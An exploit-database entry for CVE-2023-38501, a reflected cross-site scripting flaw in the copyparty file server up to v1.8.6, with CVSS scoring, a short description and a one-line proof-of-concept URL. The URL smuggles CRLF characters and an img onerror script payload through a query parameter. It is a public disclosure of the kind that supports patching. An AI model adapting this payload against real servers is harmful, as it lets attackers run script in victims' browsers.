copyparty v1.8.6 - Reflected Cross Site Scripting Vulnerability

2023-07-2800:00:00

Vartamtezidis Theodoros

0day.today

copyparty

portable file server

vulnerability

cross-site scripting

xss

attack

web interface

malicious link

javascript code

security

cve-2023-38501

debian linux

6.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

0.002 Low

EPSS

Percentile

59.5%

JSON

# Exploit Title: copyparty v1.8.6 - Reflected Cross Site Scripting (XSS)
# Exploit Author: Vartamtezidis Theodoros (@TheHackyDog)
# Vendor Homepage: https://github.com/9001/copyparty/
# Software Link: https://github.com/9001/copyparty/releases/tag/v1.8.6
# Version: <=1.8.6
# Tested on: Debian Linux
# CVE : CVE-2023-38501



#Description
Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack. 

Vulnerability that exists in the web interface of the application could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.

#POC
https://localhost:3923/?k304=y%0D%0A%0D%0A%3Cimg+src%3Dcopyparty+onerror%3Dalert(1)%3E